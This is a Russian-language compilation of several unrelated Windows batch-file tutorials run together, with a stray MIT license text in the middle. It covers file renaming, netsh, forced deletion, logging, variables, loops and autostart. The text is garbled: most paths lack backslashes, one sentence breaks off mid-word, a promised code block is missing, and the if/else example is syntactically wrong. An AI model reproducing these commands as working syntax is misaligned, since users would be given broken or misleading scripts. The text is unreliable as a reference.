Требуется выполнить некоторые замены в зависимости от конкретной ситуации. Вместо PATH устанавливается расположение документов, название которых должно быть изменено. Prefix требуется заменить на символы, добавляемые к файлу в процессе смены имени. Важным условием является расположение самого файла BAT. Он не должен находиться в папке, где происходит переименование, иначе название документа будет изменено. Другой особенностью является работа с подпапками. Они не смогут избежать общей процедуры смены имени и к названию также добавится префикс.

Имеется возможность осуществить процедуру исключительно по отношению к некоторым типам файлов. Для этого в прописанной ранее строке надо изменить *.* на другой вариант – после звездочки указывается интересующее расширение (*.txt или иное). Это позволит переименовать только документы определенного вида. Пример с несколько другим подходом написан ниже:

set thePATH=C:test

for %%I in (*.txt) do ren «%thePATH%%%~nxI» «%%~nI.dat»

Определение имени компьютера из пакетного файла

Непосредственно из файла BAT можно узнать название компьютера. Для этого необходимо прописать в документе

hostname

Команда предусматривает возврат имени устройства, на котором произошел её запуск.

Изменение IP адреса устройства из пакетного файла

Чтобы изменить IP адрес компьютера, следует применять команду netsh. Начать подобные мероприятия можно только после того, как станет определены текущие настройки. Требуется получить IP адрес на данный момент:

netsh interface ip show address

Происходит выдача текущей конфигурации. Нам необходимо узнать название применяемого интерфейса. В качестве примера это может быть FASTNET. Далее будет предполагаться необходимость изменения IP адреса на 172.22.0.33 (шлюз 172.22.0.1, маска 255.255.255.0). Предусматривается следующая строка в пакетном файле для выполнения поставленной задачи:

netsh interface ip set address name=»FASTNET» static 172.22.0.33 255.255.255.0 172.22.0.1 1

Обработка команды повлечет изменение IP адреса у интерфейса FASTNET на 172.22.0.33. Это и является искомой задачей. Указанная команда предлагает весьма широкие возможности в плане работы с сетевыми настройками.

Автоматизация удаления документов по типу

Задача очистки жесткого диска от временных файлов может быть решена с помощью следующей строки:

del /f /s /q C:*.tmp

Следует разъяснить используемые параметры

/f

Происходит удаление всех документов, даже при наличии у них атрибута «только чтение»

/s

Выполняется удаление файлов из всех подкаталогов.

/q

Не всплывает окна, просящего подтверждения действиям удаления.

C:

Прописывается диск, для которого будет производиться удаление документов. В данном случае, разрешается указывать более конкретный путь, например, до некоторой папки.

*.tmp

Тип удаляемых документов.

Следует аккуратно использовать параметр /q. С ним удаление будет происходить без каких-либо запросов и это может привести к весьма неприятным последствиям.

Отправка сообщения непосредственно из файла BAT

Следует рассмотреть ситуации, когда осуществляется работа пакетного файла на одном из устройств в сети. В подобной ситуации будет особенно удобным, когда после завершения установленных мероприятий произойдет пересылка соответствующего сообщения для администратора. Это довольно просто сделать с применением следующей строки:

net send name Message text

Здесь параметр name означает название некоторого устройства, куда будет отправлено сообщение. В качестве самого сообщения следует прописать информацию Message text. Важно учитывать применяемый алфавит. Когда осуществляется работа с кириллицей, нужно применять кодировку MS-DOS (866 кодовая страница) или любую аналогичную ей. В ином случае, следует приготовиться к выдаче набора ничего не значащих символов. Таким образом, рекомендуется применять соответствующие типы текстовых редакторов.

В качестве примера подобной программы можно отметить FAR. Следует выполнить открытие пакетного документа через этот текстовый редактор за счет нажатия клавиши F4 или выбора соответствующего пункта. Указывается кодировка DOS – она исключает проблему невозможности распознания символов системой.

Запуск BAT файла из другого BAT документа

Чаще будет проще использовать возможность запуска из одного BAT файла другого, чем прописывание дополнительных строк действий. Для этого могут предусматриваться и более серьёзные рекомендации, чем удобство пользователя. Например, при необходимости приостановить осуществление основного пакетного документа во время выполнения другого или задать их параллельную деятельность.

Следует рассмотреть подобный момент более подробно. Выполним создание пакетного файла 1.bat, который будет включать следующее содержимое:

call 2.bat

То есть, происходит вызов второго пакетного файла 2.bat, где пропишем одну команду:

pause

Посмотрим, что произойдет при запуске 1.bat. Если это сделать, то на экран выдастся сообщение с предложением нажатия любой клавиши. Когда это будет сделано, произойдет закрытие окна. Из этого можно сделать довольно простой вывод. Когда один пакетный файл вызывается из другого с применением call, предусматривается остановка его исполнения до той поры, пока выполнение второго не будет завершено.

Стоит рассказать об иной ситуации, которая предусматривает необходимость параллельного выполнения пакетных документов. Подобный запрос возникает довольно часто и для его реализации можно использовать команду start, как оптимальный вариант в сложившихся условиях. Вернемся к созданным документам и в 1.bat введем некоторые корректировки:

Теперь предполагается открытие окна с предложением нажать любую кнопку при запуске 1.bat. При этом, окно главного пакетного документа закроется после выполнения своей задачи. Теперь Вы понимаете особенности применения команд start и call. Следует отметить тот факт, что они используются не только для того, чтобы запускать пакетные файлы. Команды вполне способны осуществить начало работы любого приложения или документа.

Отключение выдачи на экран команд в процессе осуществления пакетного файла

Когда в пакетном файле выполняются различные команды, предусматривается выдача результата работы на экран. Далеко не всегда имеется запрос в подобных действиях и требуется осуществить исполнение с отключенным выводом. Для этого следует применять символ @, который прописывается перед самой командой.

Требуется рассмотреть это на примере. Допустим, в пакетном файле имеется строка

echo Testing

На экран предусматривается выдача echo Testing, а потом результат деятельности команды – слово Testing. Можно написать внутри пакетного документа следующие сведения:

@echo Testing

Результатом работы станет только выдача слова Testing. Можно пойти ещё дальше и установить работу таким образом, чтобы отключился вывод команд на протяжении всего файла BAT. В таком случае, требуется задать

@echo off

Автоматический ответ на запросы о подтверждении

При работе некоторых команд может возникнуть ситуация, когда они должны совершить потенциально опасное действие в системе. В качестве примера рекомендуется назвать format или del. Подобный момент предусмотрен и выдается соответствующее предупреждение. Когда производится выполнение внутри пакетного файла, то его деятельность остановится. Она будет возобновлена только после подтверждения и это способно стать причиной потери драгоценного времени.

Существует способ осуществления задачи автоматизации. Предполагается использование перенаправления необходимого ответа в команду. Далее будет на примере рассмотрено подобное действие. Требуется создать на диске С обычную папку Folder и внутрь неё осуществим помещение любых 2х документов.

Запускаем интерпретатор команд и вводим в нем

del C:Folder

Это предполагает необходимость осуществить удаление вместе со всеми файлами внутри. Поскольку подобное действие относится к числу потенциально опасных, поступит запрос на подтверждение следующего вида:

C:Folder*, продолжить [Y(да)/N(нет)]?

Команда не станет продолжаться до тех пор, пока пользователь не ответит. Если работа производится в автономном режиме, ожидание может быть крайне длительным, а сам процесс останется невыполненным. Для выхода из сложившейся ситуации рекомендуется применение специального символа (|). Он предусматривает, что должна произойти передача следующей сразу после команде. Теперь модифицируем строку в пакетном файле:

echo Y|del C:Folder

На экран происходит выдача подтверждения с уже положительным решением. Таким образом, из указанной папки произойдет удаление всех документов. Следует аккуратно использовать подобную возможность.

Перенаправление результата выполнения команды в документ

В случае деятельности BAT файлов сложного типа способны возникнуть проблемы в плане того, насколько правильно функционирует система. Именно по этой причине применяется специальное средство – запись в специальный лог-файл. Это предусматривает возможность ознакомиться с документом в дальнейшем и провести анализ того, насколько правильно осуществлялось выполнение поставленных задач.

Чтобы выполнить перенаправление результата работы в специально предназначенный для этого документ, требуется создать файл BAT со следующими строками:

echo Start %time%

echo Create test.txt

echo Copy Test.txt to Old_test.txt

copy C:test.txt C:Old_test.txt

Необходимо подробнее разобрать, что именно выполняет указанный набор команд.

Первой строкой задается отключение вывода команд. Это позволит получить в лог-документе исключительно результаты осуществления.

Второй строкой указывается время, когда начал исполняться пакетный файл.

Третьей строкой указывается на то, что следующей командой будет создаваться текстовый документ test.txt.

Четвертая строка предназначена для того, чтобы непосредственно осуществить поставленную задачу. Следующим этапом производится запись в него одного слова – test.

Пятая строка проводит выдачу в лог-документ пояснение о том, что следующим этапом станет происходить копирование в иное место.

В шестой строке осуществляется непосредственное копирование C:test.txt в файл C:Old_test.txt. Можно говорить о том, что происходит создание копии документа, но с присвоением для него нового названия.

В заключительной строке указывается команда, которая предусматривается для указания времени действия пакетного документа. Аналогичные сведения можно получить в лог-файле.

Требуется рассмотреть дальнейшие возможности по модификации предложенного набора команд. Часто возникает запрос на выполнение хранения подобных документов в специально предназначенной для них папке. Каждый день должна производиться запись отчета с присвоением для него нового названия. Оптимальный вариант – это использование имени, состоящего из некоторого слова и автоматически добавляемой к нему текущей даты. Сам файл можно назвать 1.bat и сохранить.

Теперь создадим на диске папку LOG и полный путь к ней станет иметь указанный вид: C:LOG. Следующим этапом происходит запуск команду установленного типа:

1.bat>C:LOG%date~-10%.txt

Когда в расположении документа предусматриваются пробелы, рекомендуется предусмотреть указанный момент и применять кавычки или специальный формат записи. Ниже указано два возможных варианта:

«C:Program Files1.bat»>C:LOG%date~-10%.txt

C:Progra~11.bat>C:LOG%date~-10%.txt

Предполагается, что сразу после начала работы 1.bat в папке C:LOG произойдет создание документа с названием, которое включает текущую дату. Именно указанный файл и требуется установить в качестве отчета о деятельности пакетного файла 1.bat. Если запустить рассмотренный BAT файл, то предполагается предоставление указанного далее результата:

Copy Test.txt to Old_test.txt

Скопировано файлов: 1.

Чтобы произвести перенаправление результатов работы bat-документа в лог-документа, следует применять специальный символ (>). Написание команды будет иметь представленный ниже вид:

ПутьИмяФайла.bat>ПутьИмяЛогФайла.txt

Некоторые вопросы касаются расширения, которое должно даваться лог-файлу. Оно может быть любым, в том числе являться страницей html. Последний вариант особенно удобен в том случае, когда выгрузка значений должна происходить на какой-либо сайт.

Создание папки из BAT файла

Чтобы выполнить поставленную задачу, предполагается несколько доступных вариантов действий. Наиболее простой способ включает в себя применение команды MKDIR или специального сокращенного аналога – MD. Предполагается написание указанной ниже строки в документе:

MD FolderName

Когда такая команда будет осуществлена, предполагается образование новой папки FolderName. Она помещается туда же, где располагается файл BAT. Вовсе не обязательно обеспечивать подобную привязку. Допускается создавать папку в любом указанном пользователем месте, что и внесено в следующую команду:

MD D:FolderName

Разрешается применять системы переменных в тех случаях, когда выполняется создание папок. Пример заключается в следующем – требуется создать папку в корне жесткого диска D с названием в виде имени текущего юзера. Задается вот так:

MD D:%USERNAME%

Дальнейшее усложнение команды предписывает создание папки с именем юзера на системном диске устройства:

MD %SYSTEMDRIVE%%USERNAME%

Ниже рассматривается вариант, когда в качестве названия для папки применяется дата на момент выполнения пакетного файла.

set datetemp=%date:~-10%

MD %SYSTEMDRIVE%%datetemp%

Нужно выполнить рассмотрение того, каким именно образом происходит функционирование набора команд. Первой строкой создается специальная переменная datetemp. Когда работы завершатся, она удаляется, но до этого момента играет важную роль. Предусматривается корректировка значения переменной на протяжении всего времени её существования. В строке осуществляется присвоение значения, представляющего собой десять символов с правой части от системной переменной DATE. Используется формат представленного типа: Дн ДД.ММ.ГГГГ. Сначала слева идет указание недель и оно не представляет интереса. При создании папок открывается большое количество путей, которыми разрешается следовать. Это открывает большие возможности перед пользователями. Если Вы хотите увидеть перечень всех переменных, следует применить команду SET.

Создание документа с произвольным названием из BAT файла

Чтобы можно было создать документ в ходе осуществления пакетного файла, нужно написать специальный символ, отвечающий за перенаправление: (>). Предполагается перенаправление потока с экрана на документ. Рекомендуется использование указанного способа:

@echo Start file>C:1.txt

Исполнение команды создает текстовый документ, обладающий строкой Start file. В ходе создания документа станет возможным применение в качестве части или всего его названия значений некоторых переменных. Схожие моменты уже рассматривались ранее. В качестве примера требуется отметить создание файла с названием, соответствующим дате его запуска.

set datetemp=%date:~-10%

@echo .>%SYSTEMDRIVE%%DATETEMP%.txt

Работа начинается с того, что создается некоторая переменная, которая получает название datetemp. Для неё производится задание десятка символов с правой части системной переменной DATE. Это позволяет обеспечить применение исключительно действующих дат. Во второй строке указывается перенаправление (.) в документ. Его название получается за счет использования значения переменной datetemp. Должно быть указано TXT расширение, поскольку требуется получить текстовый документ.

Когда происходит работа в сети и пользователь с правами администратора реализует сбор сведений, рекомендуется добавлять название главного устройства. Это позволит упростить задачу дальнейших проверок. Требуется использование команды:

@echo .>C:FolderName%COMPUTERNAME%.txt

Происходит создание на диске С документа TXT, обладающего названием, состоящим из имени устройства выполнения пакетного файла. Допускается модернизировать предложенные строчки путем внесения различных переменных.

Процесс автоматизации запуска файлов BAT

Ряд процессов требует осуществления задачи запуска документов BAT без привлечения к подобному процессу внимания со стороны пользователя. Автоматическая деятельность системы вполне может быть прописана. Такой подход используется довольно часто. Классический планировщик из инструментов операционной системы вполне способен помочь в выполнении начала работы пакетных файлов по расписанию. Таким образом, происходит запуск в точно установленное юзером время или через некоторые интервалы.

Помимо стандартного планировщика можно найти огромное количество специализированных программ. Значительная часть из них являются свободно доступными. В платных версиях предусматривается использование расширенных возможностей.

Ещё одним вариантом можно назвать автоматический запуск некоторых действий каждый раз при входе пользователем в учетную запись или включении устройства. Ранее уже рассматривались основные направления деятельности и способы задания команд для подобных ситуаций.

Применяемые в документах BAT команды

Как уже упоминалось, допускается использовать все команды, некоторые из них предназначаются специально для работы в пакетных файлах. Можно ознакомиться с полным перечнем. Для этого предполагается получить доступ к командной строке. Это можно сделать через Пуск > Выполнить > CMD.

Предусматривается несколько вариантов получения сведений:

help

Если осуществить ввод указанной команды, можно получить полный список существующих команд и небольшие описания к ним. Разрешается обеспечение более детальных сведений. Чтобы можно было их получить, требуется ввести help и название интересующей команды. В качестве примера рекомендуется указать возможность получения данных по АТ:

help AT

Результатом необходимо назвать выдачу перечня ключей для осуществления запуска указанной команды из пакетного документа. В данном плане Windows предоставляет гораздо более широкие возможности, чем DOS. Одним из примеров расширенного функционала требуется назвать открытие файла логов деятельности пакетного доку

start название_документа.txt

Если осуществить запуск подобной команды, то произойдет открытие название_документа.txt. Важным моментом является тот факт, что пакетный файл окончит свою деятельность. Использование подобного метода является оправданным в тех случаях, когда объемы лог-файла невелики.

Создание BATCH файла

Следует открыть программу «Блокнот» и в ней провести набор указанных далее строк:

@echo This batch file

@pause

После этого требуется выполнить сохранение в качестве файла 1.bat. Следующим этапом таких мероприятий, следует провести открытие пакетного документа. Это повлечет за собой выдачу строк:

This batch file

Нажмите любую клавишу для продолжения…

Когда предложение будет исполнено, произойдет закрытие пакетного документа, поскольку его работа завершается. Отдельное внимание должно уделяться этому символу — @. Он задает выдачу исключительно результата работы, а не непосредственно команды. Вы можете осуществить несколько экспериментов, связанных с изменением положения или удаления данного символа. Это позволит лучше понять особенности его использования.

BAT-файлы (Batchfiles) — это пакетные файлы в ОС MS-DOS, OS/2, Windows. Чаще всего они используются для
автоматизации задач.
Внимание!
Некоторые команды могут нанести вред вашей системе!

MIT License Copyright (c) 2022 Андрей Кожев Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 

Дисклеймер

Мне 12 и я сам в этой теме плохо шарю, т.к. инфы в инете мало. Пж, без хейта.

Что такое батники и с чем их едят

Пакетный файл или в простонародье батник — это файл, который запускает командную сроку или сокращенно cmd, которая построчно интерпретирует команды, записанные в нем. Подробнее смотрите на https://ru.wikipedia.org/wiki/Пакетный_файл.

Первая программа и основные команды

Чтобы сделать батник, нужно сначала создать текстовый файл с именем test и изменить расширение c .txt на .bat. О том, как можно это сделать, читайте здесь: https://remontka.pro/file-extensions. У вас должен появиться файл с такой иконкой:

test.bat

Нажимаем на него ПРАВОЙ кнопкой мыши. Должно появиться диалоговое окно. Нажмем «Открыть». Должен открыться блокнот, пишем:

@echo off echo Hello world! pause

:-)

В 1-ой сроке («@echo off») префикс ‘@ ‘ означает, что команда не будет выведена на экран(попробуйте его убрать ), сама же команда (echo) выводит текст следующий за ней(см. строку 2), НО, если подать строку «off», все последующие команды будут действовать так, как будто перед ними стоит префикс ‘@’, «echo on», соответственно, выключает этот режим. Чтобы вывести символ «%», его нужно дублировать, потом поймете почему :-), для вывода пустой строки поставьте «.» после «echo»
В 3-ей строке команда выводит строку «press any key to continue . . .» (если у вас русский язык — «Для продолжения нажмите любую клавишу . . .») и останавливает программу до нажатия любой клавиши.

Наводим красоту

не эта :)не эта :)

не делает ничего и служит комментарием к коду

rem Это самая лучшая прога в мире. 

Код включает русские символы и другие из ascii(например: «╬▓☼», можно скопировать с http://pascalguru.ru/psevdograf.html), иначе ascii символы превратятся в кракозябры:

chcp 65001

Следующий код код работает, как команда «pause», но ничего не выводит на экран и не реагирует на нажатие клавиш(я потом объясню, как это работает).

:m goto m

А этот — меняет заголовок окна на «name»

Заголовок окна

Заголовок окна

title name

Эта команда меняет цвет фона и текста, вместо a и b можно поставить любые шестнадцатеричные цифры(команда не сработает если a = b) см. таблицу ниже. Запись c одной буквой «а» аналогично записи «0a»

color ab

Таблица

Таблица

Эта — досрочно завершает программу

exit

Переменные

Создать переменную можно с помощью команды set, синтаксис объявления следующий: P.S. это не совсем переменные, это скорее макросы (для тех к кто не знает C/C++ это именованный кусочек кода, имя которого заменяется на этот кусочек кода)

set a=Hello world

Если после «set» добавить флаг «/a» то:

    Переменной задастся значение выражения, а не его текст, например:

set a=2+2 > 2+2 set /a a=2+2 > 4

Чтобы обратиться к переменной, нужно окружить ее символами «%» (так %name%), пример кода:

set /a a=%b%+%b% echo %a%

Подробнее о переменных

Если добавить флаг «/p», то выводиться значение после символа «=», а переменной задается введенное значение(запустите этот код:)

@echo off set /p a=Enter str echo %a% pause

следующий код вырезает строку от символа номер «a» до символа номер «b» НЕ включительно(счет идет с нуля, отрицательные числа — счет с конца от единицы). Если аргумент один, то он присваивается числу «b», а «a» = 0

%str:~a,b%

следующий заменяет подстроки «a» в строке на строки «b»:

%str:a=b%

Циклы и условия

Цикл можно создать с помощью команды «for», синтаксис следующий:

for %%i in (a b c) do ( cmd )
for %%i in (a b c) do cmd

(a b c) это список (не обязательно из 3-х элементов) и переменная %%i (нужно ставить символ после процентов, а не между) по очереди проходит по значениям в списке

Если добавить флаг «/l», то переменная в первый раз будет равна «a». К ней каждый раз будет прибавляться «b», пока она не станет больше «c»(тут размер ДОЛЖЕН равняться 3)

запустите этот код, тут все наглядно

@echo off chcp 65001 echo Начало for /l %%i in (1 1 10) do echo %%i echo Конец pause

Команда if выполняет код, если условие верно (или если поставить not после if, когда НЕ верно), вот операторы сравнения:

P.S. строки нужно брать в кавычки «%str%»==»Hello»

@echo off set /p a=Enter number if a gtr 0 echo positive else if a equ 0 echo 0 else echo negative pause

:-)

в 3-ей строке, если «a» > 0 выводиться «положительный»(на английском ), если равен — 0,в 4-ой если меньше — «отрицательный»

символ «» означает, что команда продолжается на следующей строке

Метки

Создадите файл start.bat в той же папке, где и test.bat, напишите в нем:

test.bat 2 2

Мы запустили батник, НО подали в него аргументы 2 и 2. Чтобы к ним обратиться, нужно написать %n, где «n» — номер аргумента, считая от одного(не от нуля), вот код, считающий сумму первого и второго аргумента (их может быть от нуля до 9-и):

@echo off set /a res=%1+%2 echo res pause

Метка — это именованное место в коде, она создается с помощью команды «:name»

А этот переходит на метку :m и продолжает выполнение, начиная с нее

rem куча кода :m rem куча кода goto m rem куча кода

И в завершение статьи, хочу сказать о команде call. Она превращает в последующей команде «%%» в «%», а переменные — на их значения. Пример использования:

call echo %%str:~%a%,%b%%%

В Windows 10 командный файл – это специальный вид текстового файла, который обычно имеет расширение .bat, способный включать одну или несколько команд, которые командная строка может понимать и последовательно выполнять для реализации различных действий.

Вы можете писать команды вручную для выполнения конкретной задачи или изменения настроек, но командный файл упрощает работу по перепечатыванию команд, экономя ваше время и избавляет от ошибок.

Кроме того, несмотря на то, что есть другие инструменты, такие как PowerShell, которые можно использовать для написания более сложных сценариев, использование пакетных файлов с командной строкой является удобным вариантом, когда вам нужно запускать команды для изменения настроек системы, автоматизации подпрограмм и запуска приложения или запуск сайтов.

В этом руководстве по Windows 10 мы расскажем, как создать и запустить первый пакетный файл на вашем компьютере. Кроме того, мы опишем шаги для создания расширенных сценариев, а также для автоматизации сценариев с помощью планировщика заданий.

Как создать пакетный файл в Windows 10

Процесс написания пакетного файла (сценария или пакетного сценария) не сложен. Вам нужен только текстовый редактор (например, Блокнот) и некоторые знания по использованию командной строки.

В следующих шагах мы подробно описываем шаги для создания простого и расширенного командного файла, а также шаги для написания скрипта изменения настроек системы.

Создание простого пакетного файла

Чтобы создать простой пакетный файл в Windows 10, выполните следующие действия:

  1. Откройте Блокнот или другой текстовый редактор.
  2. Введите следующие строки, чтобы создать пакетный файл: @ECHO OFF ECHO Поздравляю! Ваш первый пакетный файл успешно выполнен. PAUSE Простейший код пакетного командного файлаПриведенный выше скрипт выводит фразу «Поздравляем! Ваш первый пакетный файл успешно выполнен» на экране терминала. Результат выполнения команд из пакетного файла
    • @ECHO OFF – отключение отображения на дисплее, чтобы показывать только сообщения в чистой строке. Как правило, эта строка идет в начале файла. (Вы можете использовать эту команду без «@», но символ скрывает выполняемую команду для более чистого возврата.)
    • ECHO – печатает нужный текст на экране.
    • PAUSE – предотвращает закрытие окна консоли после выполнения команды. Вы можете использовать эту команду в конце скрипта или после определенной команды при запуске нескольких задач, если вы хотите сделать паузу между ними.
  3. Нажмите меню Файл.
  4. Выберите опцию Сохранить как.
  5. Введите имя для скрипта – например, first_batch.bat

Хотя пакетные файлы обычно используют расширения файлов .bat, вы также можете увидеть сценарии, использующие расширения файлов .cmd или .btm

Выполнив эти шаги, вы можете дважды щелкнуть файл, чтобы запустить его, или использовать описанные ниже шаги, чтобы узнать о различных способах выполнения командного файла в Windows 10.

Создание расширенного пакетного файла

Чтобы создать расширенный пакетный файл, который выполняет несколько команд, используйте эти шаги:

Пакетный файл с набором команд

  1. Откройте Блокнот или другой текстовый редактор.
  2. Введите следующие строки, чтобы создать более сложный пакетный файл:
  3. @ECHO OFF
    :: This batch file reveals OS, hardware, and networking configuration.
    TITLE My System Info
    ECHO Please wait. Checking system information.
    :: Section 1: OS information.
    ECHO ============================
    ECHO OS INFO
    ECHO ============================
    systeminfo | findstr /c:»OS Name»
    systeminfo | findstr /c:»OS Version»
    systeminfo | findstr /c:»System Type»
    :: Section 2: Hardware information.
    ECHO ============================
    ECHO HARDWARE INFO
    ECHO ============================
    systeminfo | findstr /c:»Total Physical Memory»
    wmic cpu get name
    :: Section 3: Networking information.
    ECHO ============================
    ECHO NETWORK INFO
    ECHO ============================
    ipconfig | findstr IPv4
    ipconfig | findstr IPv6
    PAUSE Приведенный выше пакетный скрипт запускает ряд команд для запроса различной системной информации, сгруппированной в три разные категории, включая «Информацию об ОС», «Информацию об оборудовании» и «Информацию о сети».
    • @ECHO OFF – отключение отображения на дисплее, чтобы показывать только сообщения в чистой строке. Как правило, эта строка идет в начале файла. (Вы можете использовать эту команду без «@», но символ скрывает выполняемую команду для более чистого возврата.)
    • TITLE – отображает произвольное имя в строке заголовка терминала.
    • :: – Позволяет добавлять комментарии и информацию, которая игнорируется при запуске пакетного файла.
    • ECHO – печатает нужный текст на экране.
    • PAUSE – предотвращает закрытие окна консоли после выполнения команды. Вы можете использовать эту команду в конце скрипта или после определенной команды при запуске нескольких задач, если вы хотите сделать паузу между ними.
  4. Нажмите меню Файл.
  5. Выберите опцию Сохранить как.
  6. Введите имя для скрипта – например, first_batch.bat

После выполнения этих шагов вы можете запустить скрипт, дважды щелкнув файл .bat, или использовать описанные ниже шаги, чтобы узнать различные способы запуска пакета.

Создание действующего командного файла

Помимо отображения информации в терминале командной строки, вы также можете создавать неинтерактивные командные файлы для выполнения практически любой задачи.

Чтобы создать пакетный файл, который запускает определенную команду без взаимодействия с пользователем, выполните следующие действия:

Файл командного доступа к сетевой папке

  1. Откройте Блокнот или другой текстовый редактор.
  2. Скопируйте и вставьте следующую команду (заменив PATH-NETWORK-SHAREFOLDER-NAME на сетевой путь и название папки, а YOUR-USERNAME YOUR-PASSWORD на логин и пароль пользователя): net use z: \PATH-NETWORK-SHAREFOLDER-NAME /user:YOUR-USERNAME YOUR-PASSWORD Команда «pause» не требуется, она была добавлена в этом примере, чтобы сделать снимок экрана. Если вы получаете доступ к файлам с другого компьютера, который использует определенное имя пользователя и пароль, не забудьте использовать опцию /user: с необходимыми учетными данными. Приведенная выше команда является известной командой, которая отображает сетевую папку как диск внутри проводника, используя букву «Z».
  3. Нажмите меню Файл.
  4. Выберите опцию Сохранить как.
  5. Введите имя для скрипта – например, network-drive.bat

После выполнения этих шагов при запуске пакета команда отобразит общую сетевую папку с указанными параметрами без необходимости открывать командную строку. Хотя мы указали только одну команду в файле, вы можете включить столько команд, сколько захотите, если вы напишете по одной в каждой строке.

Как запустить командный файл в Windows 10

В Windows 10 вы можете запустить командный файл как минимум тремя способами. Вы можете запустить пакет по требованию, используя проводник или командную строку. Вы можете создать запланированное задание с помощью планировщика заданий. Или вы можете поместить скрипт в папку «Автозагрузка», чтобы запускать его каждый раз при входе в устройство.

Запуск пакетного файла по требованию

Если вам нужно запустить скрипт по требованию, вы можете использовать проводник или командную строку.

Проводник

Чтобы запустить пакетный файл с помощью проводника, выполните следующие действия:

  1. Откройте проводник.
  2. Найдите папку со сценарием.
  3. Дважды щелкните командный файл, чтобы запустить его.
  4. (Необязательно) Если вы выполняете команду, требующую прав администратора, вам нужно запустить сценарий от имени администратора, щелкнув правой кнопкой мыши пакетный файл и выбрав опцию Запуск от имени администратора.

После того, как вы выполните шаги, пакет будет выполнять каждую команду в последовательности, отображая результаты в терминале.

Командная строка

Чтобы запустить командный файл из командной строки, выполните следующие действия:

  1. Откройте командную строку от имени администратора.
  2. Введите путь и название командного файла и нажмите Enter : C:PATHTOFOLDERBATCH-NAME.bat Например, следующая команда запускает пакетный файл, расположенный в пользовательской папке «batch» внутри папки «Downloads»: C:UsersuserDocumentsscriptsfirst_batch.bat

После того, как вы выполните эти шаги, выходные данные будут отображаться на экране, даже если скрипт содержит команду «PAUSE».

Запуск пакетного файла по расписанию

Чтобы запланировать запуск пакетного файла в Windows 10, вы можете использовать планировщик задач, выполнив следующие действия:

  1. Откройте Пуск.
  2. Введите планировщик заданий и щелкните по верхнему результату, чтобы открыть приложение.
  3. Щелкните правой кнопкой мыши ветку «Библиотека планировщика заданий» и выберите опцию Создать папку….
  4. Введите имя для папки – например, MyScripts. Необязательно создавать папку, но рекомендуется организовать ваши задачи.
  5. Нажмите кнопку ОК .
  6. Щелкните правой кнопкой мыши папку MyScripts.
  7. Выберите опцию Создать простую задачу.
  8. В поле «Имя» введите краткое описательное имя для задачи – например, SystemInfoBatch. Создание простой задачи для запуска скрипта
  9. (Необязательно) В поле «Описание» создайте описание для задачи.
  10. Нажмите кнопку Далее .
  11. Выберите опцию Ежемесячно. В Windows 10 планировщик задач позволяет выбрать несколько триггеров, в том числе на определенную дату, во время запуска или при входе любого пользователя в устройство. В зависимости от ваших требований вам нужно будет настроить дополнительные параметры. В этом случае мы выбираем вариант запуска задачи каждый месяц.
  12. Нажмите кнопку Далее .
  13. Используя настройку «Начать», укажите день и время запуска задачи.
  14. Используйте выпадающее меню «Месяцы», чтобы выбрать месяцы года, в которые вы хотите выполнить задачу.
  15. Используйте выпадающее меню «Дни» или «В:», чтобы указать дни, в которые будет выполняться задание. Настройка сроков выполнения запланированной задачи
  16. Нажмите кнопку Далее .
  17. Выберите опцию Запустить программу, чтобы запустить пакетный файл.
  18. В поле «Программа/скрипт» укажите путь к пакетному файлу.
  19. Нажмите кнопку Готово .

После выполнения этих действий задача сохраниться и запустит пакетный файл по указанному вами расписанию.

Запуск пакетных файлов при запуске

В качестве альтернативы, если вы хотите запускать пакетный файл каждый раз, когда вы входите в свое устройство, вместо использования планировщика заданий, вы можете сохранить сценарий в папке «автозагрузка».

Чтобы запустить скрипт при запуске, используйте следующие простые шаги:

Вставка пакетного файла для автозагрузки

  1. Откройте проводник.
  2. Найдите папку с командным файлом.
  3. Щелкните правой кнопкой мыши файл и выберите параметр Копировать.
  4. Используйте комбинацию Win + R , чтобы открыть окно «Выполнить»
  5. Введите следующую команду: shell:startup
  6. Нажмите Вставить на вкладке «Главная» в папке «Автозагрузка». (Или вы можете нажать кнопку «Вставить ярлык», чтобы создать ярлык для командного файла.)
  7. Выйдите из учетной записи Windows 10.
  8. Войдите в аккаунт.

После выполнения этих шагов каждый раз, когда вы входите в учетную запись Windows 10, командный файл будет выполняться и выполнять команды в последовательности.

Мы ориентируем это руководство на Windows 10, но возможность использовать пакетные файлы существует давно, а это означает, что вы можете обратиться к этим инструкциям, если вы всё ещё используете более старую версию, включая Windows 8.1 или Windows 7.

Вместо вступления. Что такое «батник»

Пакетные файлы (batch file) — это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС

На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников .

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Все материалы представлены здесь исключительно с образовательной целью, и для ознакомления. Надеюсь на ваше понимание и прямоту ваших рук….

